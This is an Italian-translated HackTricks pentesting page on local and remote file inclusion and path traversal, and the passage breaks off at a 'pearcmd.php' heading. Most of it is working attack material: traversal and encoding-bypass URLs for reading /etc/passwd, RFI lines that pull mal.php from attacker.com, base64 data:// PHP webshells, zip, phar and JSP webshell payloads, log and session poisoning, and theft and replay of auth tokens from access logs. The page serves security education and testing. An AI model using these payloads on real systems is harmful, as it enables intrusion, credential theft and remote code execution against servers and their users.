File Inclusion/Path traversal

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

File Inclusion

Remote File Inclusion (RFI): Il file viene caricato da un server remoto (Meglio: puoi scrivere il codice e il server lo eseguirà). In php questo è disabilitato di default (allow_url_include).
Local File Inclusion (LFI): Il server carica un file locale.

La vulnerabilità si verifica quando l’utente può in qualche modo controllare il file che verrà caricato dal server.

Funzioni PHP vulnerabili: require, require_once, include, include_once

Uno strumento interessante per sfruttare questa vulnerabilità: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Mescolando diverse *nix LFI lists e aggiungendo altri percorsi ho creato questa:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Prova anche a cambiare / con \
Prova anche ad aggiungere ../../../../../

Una lista che usa diverse tecniche per trovare il file /etc/password (per verificare se la vulnerabilità esiste) può essere trovata qui

Windows

Unione di diverse wordlists:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Prova anche a cambiare / con \
Prova anche a rimuovere C:/ e aggiungere ../../../../../

Una lista che usa diverse tecniche per trovare il file /boot.ini (per verificare se la vulnerabilità esiste) può essere trovata qui

OS X

Consulta la lista LFI di linux.

LFI di base e bypass

Tutti gli esempi sono per Local File Inclusion ma potrebbero essere applicati anche a Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences rimosse non ricorsivamente

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypassare l’aggiunta di ulteriori caratteri alla fine della stringa fornita (bypass di: $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

Questo è stato risolto a partire da PHP 5.4

Codifica

Potresti usare codifiche non standard come double URL encode (e altre):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

Modern HTML-to-PDF engines (e.g. TCPDF or wrappers such as html2pdf) analizzano volentieri HTML, SVG, CSS e font URL forniti dall’attaccante, tuttavia vengono eseguiti all’interno di reti backend fidate con accesso al filesystem. Una volta che puoi iniettare HTML in $pdf->writeHTML()/Html2Pdf::writeHTML(), puoi spesso exfiltrate file locali che l’account del web server può leggere.

  • Fingerprint the renderer: every generated PDF contains a Producer field (e.g. TCPDF 6.8.2). Conoscere la build esatta permette di capire quali filtri di percorso sono presenti e se l’URL decoding viene eseguito prima della validazione.
  • Inline SVG payloads: TCPDF::startSVGElementHandler() reads the xlink:href attribute from <image> elements before running urldecode(). Incorporare uno SVG malevolo all’interno di una data URI fa sì che molti HTML sanitizers ignorino il payload mentre TCPDF lo analizza comunque:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDF antepone $_SERVER['DOCUMENT_ROOT'] ai percorsi che iniziano con / e risolve .. solo in un secondo momento, quindi usa segmenti iniziali ../../.. oppure /../../.. per uscire dalla root dopo l’anteposizione.

  • Codifica per bypassare filtri ingenui: Le versioni ≤6.8.2 verificano solo la sottostringa letterale ../ prima della decodifica dell’URL. Inviare ..%2f (o ..%2F) nell’SVG o in un attributo raw <img src> aggira il controllo, perché la sequenza di traversal ../ viene ricreata solo dopo che TCPDF chiama urldecode().
  • Doppia codifica per decodifica multi-stadio: Se l’input utente viene decodificato dal framework web e da TCPDF, codifica due volte lo slash (%252f). Una decodifica lo trasforma in %2f, la seconda decodifica in TCPDF lo trasforma in /, producendo /..%252f../../../../… senza mai mostrare ../ al filtro precoce.
  • Gestore HTML <img>: TCPDF::openHTMLTagHandler() contiene lo stesso bug nell’ordine delle operazioni, permettendo payload HTML diretti come src="%2f..%252f..%252ftmp%252fsecret.png" per leggere qualsiasi bitmap raggiungibile localmente.

Questa tecnica leaks qualsiasi cosa leggibile dal PDF worker (scansioni del passaporto, API keys renderizzate come immagini, ecc.). Il problema è stato sistemato in 6.9.1 canonicalizzando i percorsi (isRelativePath()), quindi durante i test privilegia versioni più vecchie del Producer.

Dalla cartella esistente

Forse il back-end sta controllando il percorso della cartella:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Esplorare le directory del file system su un Server

Il file system di un Server può essere esplorato ricorsivamente per identificare directory, non solo file, impiegando certe tecniche. Questo processo implica determinare la profondità della directory e sondare l’esistenza di cartelle specifiche. Di seguito è riportato un metodo dettagliato per farlo:

  1. Determinare la profondità della directory: Accertare la profondità della directory corrente recuperando con successo il file /etc/passwd (applicabile se il Server è basato su Linux). Un esempio di URL potrebbe essere strutturato come segue, indicando una profondità di tre:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Ricerca di cartelle: Appendi il nome della cartella sospetta (es., private) all’URL, poi torna a /etc/passwd. Il livello di directory aggiuntivo richiede di incrementare la profondità di uno:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Interpretare i risultati: La risposta del server indica se la cartella esiste:
  • Errore / Nessun output: La cartella private probabilmente non esiste nella posizione specificata.
  • Contenuto di /etc/passwd: La presenza della cartella private è confermata.
  1. Esplorazione ricorsiva: Le cartelle scoperte possono essere ulteriormente esplorate per sottodirectory o file usando la stessa tecnica o i tradizionali metodi di Local File Inclusion (LFI).

Per esplorare directory in posizioni diverse nel file system, adatta il payload di conseguenza. Ad esempio, per verificare se /var/www/ contiene una directory private (assumendo che la directory corrente sia a profondità di 3), usa:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation è un metodo impiegato per manipolare file paths in web applications. Viene spesso usato per accedere a file riservati aggirando certe misure di sicurezza che aggiungono caratteri alla fine dei file paths. L’obiettivo è creare un file path che, una volta modificato dalla misura di sicurezza, punti ancora al file desiderato.

In PHP, varie rappresentazioni di un file path possono essere considerate equivalenti a causa della natura del file system. Per esempio:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ sono tutti trattati come lo stesso path.
  • Quando gli ultimi 6 caratteri sono passwd, aggiungere una / (rendendolo passwd/) non cambia il file bersaglio.
  • Analogamente, se .php viene aggiunto a un file path (come shellcode.php), aggiungere /. alla fine non altera il file a cui si accede.

Gli esempi mostrati dimostrano come utilizzare path truncation per accedere a /etc/passwd, un obiettivo comune a causa del suo contenuto sensibile (informazioni sugli account utente):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

In questi scenari, il numero di traversals necessari potrebbe essere intorno a 2027, ma questo numero può variare in base alla configurazione del server.

  • Using Dot Segments and Additional Characters: Le sequenze di traversal (../) combinate con ulteriori dot segments e caratteri possono essere utilizzate per navigare il file system, ignorando efficacemente le stringhe aggiunte dal server.
  • Determining the Required Number of Traversals: Attraverso tentativi ed errori, è possibile trovare il numero preciso di sequenze ../ necessarie per arrivare alla directory root e poi a /etc/passwd, assicurandosi che eventuali stringhe aggiunte (come .php) vengano neutralizzate ma che il percorso desiderato (/etc/passwd) rimanga intatto.
  • Starting with a Fake Directory: È pratica comune iniziare il percorso con una directory inesistente (come a/). Questa tecnica viene usata come misura precauzionale o per soddisfare i requisiti della logica di parsing dei percorsi del server.

When employing path truncation techniques, it’s crucial to understand the server’s path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.

Questa vulnerabilità è stata corretta in PHP 5.3.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

In php questa funzionalità è disabilitata di default perché allow_url_include è Off. Deve essere On per funzionare, e in tal caso puoi includere un file PHP dal tuo server e ottenere RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Se per qualche motivo allow_url_include è On, ma PHP sta filtrando l’accesso a pagine web esterne, according to this post, puoi usare ad esempio il data protocol con base64 per decodificare un codice PHP b64 e egt RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Tip

Nel codice precedente, il finale +.txt è stato aggiunto perché l’attacker aveva bisogno di una stringa che terminasse con .txt, quindi la stringa finisce con esso e dopo il b64 decode quella parte restituirà solo junk e il vero PHP code sarà incluso (e quindi eseguito).

Un altro esempio che non usa il protocollo php:// sarebbe:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python elemento root

In Python, in un codice come questo:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Se l’utente fornisce un percorso assoluto a file_name, il percorso precedente viene semplicemente rimosso:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

È il comportamento previsto secondo the docs:

Se un componente è un percorso assoluto, tutti i componenti precedenti vengono scartati e l’unione continua a partire dal componente di percorso assoluto.

Java: elenco delle directory

Sembra che se hai un Path Traversal in Java e richiedi una directory invece di un file, viene restituito un elenco della directory. Questo non accade in altri linguaggi (per quanto ne so).

Top 25 parametri

Ecco la lista dei Top 25 parametri che potrebbero essere vulnerabili a local file inclusion (LFI) (da link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI usando wrapper e protocolli PHP

php://filter

PHP filters allow perform basic modification operations on the data before being it’s read or written. There are 5 categories of filters:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Rimuove i tag dai dati (tutto ciò che si trova tra i caratteri “<” e “>”)
  • Nota che questo filtro è assente nelle versioni moderne di PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Trasforma in una codifica diversa (convert.iconv.<input_enc>.<output_enc>). Per ottenere la lista di tutte le codifiche supportate esegui in console: iconv -l

Warning

Abusando del filtro di conversione convert.iconv.* puoi generare testo arbitrario, il che può essere utile per scrivere testo arbitrario o fare in modo che una funzione come include elabori testo arbitrario. Per maggiori info controlla LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Comprimi il contenuto (utile se devi esfiltrare molte informazioni)
  • zlib.inflate: Decomprime i dati
  • Encryption Filters
  • mcrypt.* : Deprecato
  • mdecrypt.* : Deprecato
  • Other Filters
  • Eseguendo in php var_dump(stream_get_filters()); puoi trovare un paio di filtri inaspettati:
  • consumed
  • dechunk: inverte l’encoding HTTP chunked
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

La parte “php://filter” non distingue tra maiuscole e minuscole

Uso di php filters come oracle per leggere file arbitrari

In questo post viene proposta una tecnica per leggere un file locale senza che l’output venga restituito dal server. Questa tecnica si basa su una boolean exfiltration of the file (char by char) using php filters come oracle. Questo perché i php filters possono essere usati per ingrandire un testo abbastanza da far php lanciare un’eccezione.

Nel post originale trovi una spiegazione dettagliata della tecnica, ma qui c’è un breve riepilogo:

  • Usa il codec UCS-4LE per lasciare il carattere iniziale del testo all’inizio e far sì che la dimensione della stringa aumenti esponenzialmente.
  • Questo viene usato per generare un testo così grande quando la lettera iniziale è indovinata correttamente che php genererà un errore.
  • Il filtro dechunk rimuove tutto se il primo char non è esadecimale, quindi possiamo sapere se il primo char è esadecimale.
  • Questo, combinato con il precedente (e altri filtri a seconda della lettera indovinata), ci permetterà di indovinare una lettera all’inizio del testo osservando quando applichiamo abbastanza trasformazioni da farla uscire dall’intervallo dei caratteri esadecimali. Se infatti è esadecimale, dechunk non la cancellerà e la bomba iniziale farà scattare un errore di php.
  • Il codec convert.iconv.UNICODE.CP930 trasforma ogni lettera nella successiva (quindi dopo questo codec: a -> b). Questo ci permette di scoprire se la prima lettera è una a, per esempio, perché se applichiamo 6 volte questo codec a->b->c->d->e->f->g la lettera non è più un carattere esadecimale, quindi dechunk non la elimina e l’errore php viene scatenato perché si moltiplica con la bomba iniziale.
  • Usando altre trasformazioni come rot13 all’inizio è possibile effettuare un leak di altri char come n, o, p, q, r (e altri codec possono essere usati per spostare altre lettere nell’intervallo esadecimale).
  • Quando il char iniziale è un numero è necessario codificarlo in base64 e ottenere le prime 2 lettere tramite leak per ottenere il numero.
  • Il problema finale è capire come effettuare il leak di più della lettera iniziale. Usando filtri di ordine memoria come convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE è possibile cambiare l’ordine dei char e mettere in prima posizione altre lettere del testo.
  • E per poter ottenere ulteriori dati l’idea è di generare 2 bytes di junk data all’inizio con convert.iconv.UTF16.UTF16, applicare UCS-4LE per farli pivot with the next 2 bytes, e d elete the data until the junk data (questo rimuoverà i primi 2 byte del testo iniziale). Continuare così fino a raggiungere il bit desiderato per il leak.

Nel post è stato anche leakato uno strumento per eseguire automaticamente questo: php_filters_chain_oracle_exploit.

php://fd

Questo wrapper permette di accedere ai file descriptors che il processo ha aperto. Potenzialmente utile per exfiltrare il contenuto di file aperti:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Puoi anche usare php://stdin, php://stdout e php://stderr per accedere rispettivamente ai descrittori di file 0, 1 e 2 (non è chiaro come questo possa essere utile in un attacco)

zip:// and rar://

Carica un file Zip o Rar con una PHPShell all’interno e accedervi.
Per poter abusare del protocollo rar è necessario che sia specificamente attivato.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Nota che questo protocollo è limitato dalle configurazioni php allow_url_open e allow_url_include

expect://

Expect deve essere attivato. Puoi eseguire codice usando questo:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Specifica il tuo payload nei parametri POST:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Un file .phar può essere utilizzato per eseguire codice PHP quando un’applicazione web utilizza funzioni come include per il caricamento di file. Lo snippet PHP sottostante mostra la creazione di un file .phar:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Per compilare il file .phar, è necessario eseguire il seguente comando:

php --define phar.readonly=0 create_path.php

All’esecuzione verrà creato un file chiamato test.phar, che potrebbe potenzialmente essere sfruttato per attaccare vulnerabilità di Local File Inclusion (LFI).

Nei casi in cui l’LFI si limita solo alla lettura di file senza eseguire il codice PHP al loro interno, tramite funzioni come file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), o filesize(), si può provare a sfruttare una vulnerabilità di deserializzazione. Questa vulnerabilità è legata alla lettura di file usando il protocollo phar.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

È stato possibile abusare della lettura arbitraria di qualsiasi file da PHP che supporta php filters per ottenere una RCE. The detailed description can be found in this post.
Breve sommario: un overflow di 3 byte nell’heap di PHP è stato abusato per alterare la catena di chunk liberi di una dimensione specifica al fine di poter scrivere qualsiasi cosa in qualsiasi indirizzo, quindi è stato aggiunto un hook per chiamare system.
È stato possibile allocare chunk di dimensioni specifiche sfruttando ulteriori php filters.

Altri protocolli

Controlla altri possibili protocols to include here:

  • php://memory and php://temp — Scrive in memoria o in un file temporaneo (non sono sicuro di come questo possa essere utile in un file inclusion attack)
  • file:// — Accesso al filesystem locale
  • http:// — Accesso a URL HTTP(s)
  • ftp:// — Accesso a URL FTP(s)
  • zlib:// — Stream di compressione
  • glob:// — Ricerca di pathname che corrispondono al pattern (Non restituisce nulla di stampabile, quindi non è davvero utile qui)
  • ssh2:// — Secure Shell 2
  • ogg:// — Stream audio (Non utile per leggere file arbitrari)

LFI via PHP’s ‘assert’

I rischi di Local File Inclusion (LFI) in PHP sono particolarmente elevati quando si ha a che fare con la funzione ‘assert’, che può eseguire codice contenuto in stringhe. Questo è particolarmente problematico se un input contenente caratteri di directory traversal come “..” viene controllato ma non adeguatamente sanificato.

Ad esempio, il codice PHP potrebbe essere progettato per prevenire directory traversal in questo modo:

assert("strpos('$file', '..') === false") or die("");

Sebbene ciò miri a impedire traversal, crea involontariamente un vettore per code injection. Per sfruttare questo per leggere il contenuto dei file, un attacker potrebbe usare:

' and die(highlight_file('/etc/passwd')) or '

Analogamente, per eseguire comandi di sistema arbitrari, si potrebbe usare:

' and die(system("id")) or '

È importante URL-encode these payloads.

PHP Blind Path Traversal

Warning

Questa tecnica è rilevante nei casi in cui tu controlli il file path di una PHP function che accederà a un file ma non vedrai il contenuto del file (come una semplice chiamata a file()) e il contenuto non viene mostrato.

In this incredible post è spiegato come un blind path traversal possa essere abusato via PHP filter per exfiltrate the content of a file via an error oracle.

In sintesi, la tecnica usa la codifica “UCS-4LE” per rendere il contenuto di un file così grande che la PHP function che apre il file scatenerà un errore.

Poi, per leak the first char, si usa il filter dechunk insieme ad altri come base64 o rot13 e infine i filtri convert.iconv.UCS-4.UCS-4LE e convert.iconv.UTF16.UTF-16BE vengono usati per mettere altri char all’inizio e leak them.

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Per i dettagli tecnici controlla il post menzionato!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

Quando il codice server-side che riceve/upload di file costruisce il percorso di destinazione usando dati controllati dall’utente (es., un filename o URL) senza canonicalizzare e validare, i segmenti .. e i percorsi assoluti possono uscire dalla directory prevista e causare una scrittura arbitraria di file. Se puoi posizionare il payload sotto una directory esposta via web, di solito ottieni una RCE non autenticata droppando una webshell.

Workflow tipico di exploitation:

  • Identifica un write primitive in un endpoint o background worker che accetta un path/filename e scrive contenuto su disco (es., message-driven ingestion, XML/JSON command handlers, ZIP extractors, ecc.).
  • Determina le directory esposte via web. Esempi comuni:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Crea un percorso di traversal che esca dalla directory di storage prevista verso il webroot, includendo il contenuto della tua webshell.
  • Vai a visitare il payload droppato e esegui i comandi.

Note:

  • Il servizio vulnerabile che esegue la scrittura può ascoltare su una porta non-HTTP (es., un listener JMF XML su TCP 4004). Il portale web principale (porta diversa) servirà in seguito il tuo payload.
  • Sui stack Java, queste scritture di file sono spesso implementate con semplici concatenazioni File/Paths. La mancanza di canonicalizzazione/allow-listing è il difetto principale.

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Hardening che neutralizza questa classe di bug:

  • Risolvere il percorso a una forma canonica e verificare che sia un sottopercorso di una directory di base consentita.
  • Rifiutare qualsiasi percorso che contenga .., root assoluti, o lettere di unità; preferire nomi di file generati.
  • Eseguire il writer con un account a basso privilegio e separare le directory di scrittura dalle root servite.

Remote File Inclusion

Explained previously, follow this link.

Via Apache/Nginx log file

If the Apache or Nginx server is vulnerable to LFI inside the include function you could try to access to /var/log/apache2/access.log or /var/log/nginx/access.log, set inside the user agent or inside a GET parameter a php shell like <?php system($_GET['c']); ?> and include that file

Warning

Nota che se usi le doppie virgolette per la shell invece delle virgolette semplici, le doppie virgolette verranno modificate per la stringa “quote;”, PHP genererà un errore e null’altro verrà eseguito.

Inoltre, assicurati di scrivere correttamente il payload oppure PHP darà errore ogni volta che cercherà di caricare il file di log e non avrai una seconda opportunità.

This could also be done in other logs but be careful, the code inside the logs could be URL encoded and this could destroy the Shell. The header authorisation “basic” contains “user:password” in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.
Altri possibili percorsi di log:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Leggi i log di accesso per raccogliere GET-based auth tokens (token replay)

Molte app accettano per errore session/auth tokens tramite GET (es. AuthenticationToken, token, sid). Se disponi di una primitive path traversal/LFI che ti permette di leggere i web server access log, puoi rubare quei token dai log di accesso e replayarli per bypassare completamente l’autenticazione.

How-to:

  • Usa la traversal/LFI per leggere il web server access log. Posizioni comuni:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • Alcuni endpoint restituiscono le letture dei file codificate in Base64. In tal caso, decodifica localmente e ispeziona le righe di log.
  • Usa grep per cercare richieste GET che includono un parametro token e catturarne il valore, poi replayarlo contro il punto di ingresso dell’applicazione.

Example flow (generic):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

Decodifica il body se è Base64, poi riproduci un token catturato:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Note:

  • I token negli URL vengono registrati di default; non accettare mai bearer tokens via GET nei sistemi di produzione.
  • Se l’app supporta più nomi di token, cerca chiavi comuni come AuthenticationToken, token, sid, access_token.
  • Ruota qualsiasi token che possa essere leaked nei logs.

Via Email

Invia una mail a un account interno (user@localhost) contenente il tuo PHP payload come <?php echo system($_REQUEST["cmd"]); ?> e prova a includere la mail dell’utente con un percorso come /var/mail/<USERNAME> o /var/spool/mail/<USERNAME>

Via /proc//fd/

  1. Upload molte shells (per esempio: 100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, con $PID = PID del processo (può essere brute forced) e $FD il file descriptor (può essere brute forced anch’esso)

Via /proc/self/environ

Come un file di log, invia il payload nel User-Agent, sarà riflesso all’interno del file /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

Se puoi effettuare un upload di un file, inietta semplicemente il shell payload al suo interno (es.: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Per mantenere il file leggibile è meglio inserire nei metadati di immagini/doc/pdf

Tramite upload di file ZIP

Carica un file ZIP contenente una PHP shell compressa e accedi:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Tramite PHP sessions

Controlla se il sito utilizza PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

In PHP queste sessioni sono memorizzate nei file /var/lib/php5/sess\[PHPSESSID]_

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Imposta il cookie su <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Usa la LFI per includere il file di sessione PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

Se ssh è attivo, verifica quale utente viene usato (/proc/self/status & /etc/passwd) e prova ad accedere a <HOME>/.ssh/id_rsa

Via vsftpd logs

I logs per il server FTP vsftpd si trovano in /var/log/vsftpd.log. Nello scenario in cui è presente una Local File Inclusion (LFI) e sia possibile accedere a un server vsftpd esposto, si possono considerare i seguenti passaggi:

  1. Iniettare un payload PHP nel campo username durante il processo di login.
  2. Dopo l’iniezione, utilizzare la LFI per recuperare i log del server da /var/log/vsftpd.log.

Via php base64 filter (using base64)

As shown in this article, PHP base64 filter just ignore Non-base64. Puoi usare questo per bypassare il controllo dell’estensione del file: se fornisci una stringa base64 che termina con “.php”, ignorerà il “.” e aggiungerà “php” alla base64. Ecco un esempio di payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (nessun file necessario)

Questo writeup spiega che puoi usare php filters to generate arbitrary content come output. Questo fondamentalmente significa che puoi generate arbitrary php code per l’include without needing to write it in un file.

LFI2RCE via PHP Filters

Via segmentation fault

Upload a file che sarà memorizzato come temporary in /tmp, poi nella same request scatena un segmentation fault, e allora il temporary file won’t be deleted e puoi cercarlo.

LFI2RCE via Segmentation Fault

Via Nginx temp file storage

Se trovi una Local File Inclusion e Nginx è in esecuzione davanti a PHP potresti riuscire a ottenere RCE con la seguente tecnica:

LFI2RCE via Nginx temp files

Via PHP_SESSION_UPLOAD_PROGRESS

Se trovi una Local File Inclusion anche se non hai una session e session.auto_start è Off. Se fornisci il valore PHP_SESSION_UPLOAD_PROGRESS nei dati multipart POST, PHP abiliterà la session per te. Potresti abusarne per ottenere RCE:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Via temp file uploads in Windows

Se trovi una Local File Inclusion e il server gira su Windows potresti ottenere RCE:

LFI2RCE Via temp file uploads

Via pearcmd.php + URL args

